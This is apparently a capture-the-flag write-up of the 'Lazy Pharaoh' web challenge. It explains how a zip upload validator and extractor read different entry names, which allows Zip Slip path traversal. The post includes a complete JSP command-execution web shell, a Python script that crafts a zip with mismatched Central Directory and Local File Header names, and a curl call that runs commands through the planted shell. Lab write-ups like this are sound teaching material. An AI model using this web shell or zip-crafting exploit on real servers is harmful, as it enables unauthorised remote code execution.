Pizza Steve is warming the oven before the next post hits the table.
Pizza Steve is warming the oven before the next post hits the table.
A race-condition-backed Zip Slip chain from upload validation to code execution.

Hey! It's Ahmed (aka Pizza Steve) back with a writeup for the Lazy Pharaoh web challenge.
First, I want to thank all authors for the high quality challenges and my great team for their efforts as we qualified for the finals!
Without further ado, let's begin!
When we first visit the website, we encounter a login/registration page followed by an upload function. From here, we start with the first step: recon.

The source code was provided, so let's dig in.
The key files are:
FileService.java: handles zip validation (isSafeZip()) and extraction (extractZip())TomcatConfig.java: configures the embedded Tomcat serverSecurityConfig.java: defines what routes need authenticationdocker-compose.yml : reveals where the flag actually livesThe first thing that caught my eye in docker-compose.yml:
environment:
- FLAG=CyCTF{Fake_flag}
So the flag is an environment variable, not a file. That means we need code execution, not just a file read.
After analyzing the code, the core vulnerability is **Zip Slip,**a well-known path traversal attack where a maliciously crafted zip contains entries with names like ../../../etc/passwd. This causes the extractor to write files outside the intended directory.
In our case, we use it to drop a JSP shell into the Tomcat webroot and get RCE.
The interesting twist is that the app tries to defend against it with a validator, but the defense is broken due to a TOCTOU flaw we can exploit.
When you upload a .zip, the server does two things in sequence:
isSafeZip() to validate the zip entriesextractZip() to actually extract the filesThe problem is that they use two completely different Java APIs to read the same file.
Validator
// VALIDATOR uses ZipFile
try (ZipFile zf = new ZipFile(tempFile)) {
// reads entry names from the Central Directory (end of file)
String name = entry.getName();
// checks: no .., no /, no .jsp/.war/.jar/.class
}
// EXTRACTOR uses ZipInputStream
try (ZipInputStream zis = new ZipInputStream(bis)) {
// reads entry names from Local File Headers (sequential)
String entryName = entry.getName();
Path outputPath = extractDir.resolve(entryName).normalize();
// writes directly, no checks here!
}
This is a classic TOCTOU (Time-of-Check / Time-of-Use) bug. The check and the extraction never see the same data. But what's TOCTOU?
A TOCTOU (Time-of-Check to Time-of-Use) bug is a race condition vulnerability where a program checks a resource's state (e.g., file permissions, database record) and then acts on it, but the state changes between the "check" and the "use".
A ZIP file stores entry metadata in two separate locations:
Both store the entry name, but they're stored separately and can differ. A crafted zip can have safe.txt in the Central Directory (what the validator sees) and ../../../webroot/shell.jsp in the Local File Header (what the extractor uses).
The validator sees a harmless text file. The extractor writes a JSP shell.
TomcatConfig.java file tells us something important:
public static final String WEBROOT = "/app/webroot/";
factory.setDocumentRoot(new File(WEBROOT));
Tomcat serves files from /app/webroot/. And SecurityConfig.java makes it even better for us:
.requestMatchers(new AntPathRequestMatcher("/**/*.jsp")).permitAll()
Any .jsp in the webroot executes with zero authentication. So we just need to upload our shell there.
The extract directory is /app/uploads/{username}/{timestamp}. That's 3levels deep from /app. So to reach /app/webroot/:
/app/uploads/user/timestamp -> start
/app/uploads/user -> ../
/app/uploads -> ../../
/app -> ../../../
/app/webroot/shell.jsp -> ../../../webroot/shell.jsp
I initially used ../../webroot/shell.jsp which landed at /app/uploads/webroot/shell.jsp, not served by Tomcat, hence the 404 error I got. One extra ../ fixed it.

The key is making a zip where ZipFile reads safe.txt from the Central Directory, but ZipInputStream reads ../../../webroot/shell.jsp from the Local File Header.
import struct, zlib
jsp_payload = b'''<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; StringBuilder sb = new StringBuilder();
while((line=br.readLine())!=null) sb.append(line).append("\\n");
out.print(sb.toString());
}
%>'''
def make_zip(local_name: bytes, central_name: bytes, data: bytes) -> bytes:
crc = zlib.crc32(data) & 0xFFFFFFFF
# Local File Header that is read by ZipInputStream (the extractor)
local_header = struct.pack('<4sHHHHHIIIHH',
b'PK\x03\x04', 20, 0, 0, 0, 0,
crc, len(data), len(data),
len(local_name), 0
) + local_name + data
# Central Directory which is read by ZipFile (the validator)
central_header = struct.pack('<4sHHHHHHIIIHHHHHII',
b'PK\x01\x02', 20, 20, 0, 0, 0, 0,
crc, len(data), len(data),
len(central_name), 0, 0, 0, 0, 0,
0
) + central_name
# End of Central Directory
eocd = struct.pack('<4sHHHHIIH',
b'PK\x05\x06', 0, 0, 1, 1,
len(central_header), len(local_header), 0
)
return local_header + central_header + eocd
malicious_zip = make_zip(
local_name=b'../../../webroot/shell.jsp', # seen by ZipInputStream
central_name=b'safe.txt', # seen by ZipFile
data=jsp_payload
)
with open('exploit.zip', 'wb') as f:
f.write(malicious_zip)
print('[+] exploit.zip ready')
Now we upload exploit.zip. The server validates against safe.txt, extracts to ../../../webroot/shell.jsp, and Tomcat serves it instantly.
curl https://cyctf-luxor-8e0c2493c1b5-lazzy-0-0.chals.io/shell.jsp?cmd=printenv+FLAG
Flag:
CyCTF{egMGP-6PiOKj41vMm29cswWU8CfMWXNkijRnvkp69Sj4MpjNpgsujJA9TYmv70gljf-tT242N-wqeCbw9p4EOqChf7myfab9AA}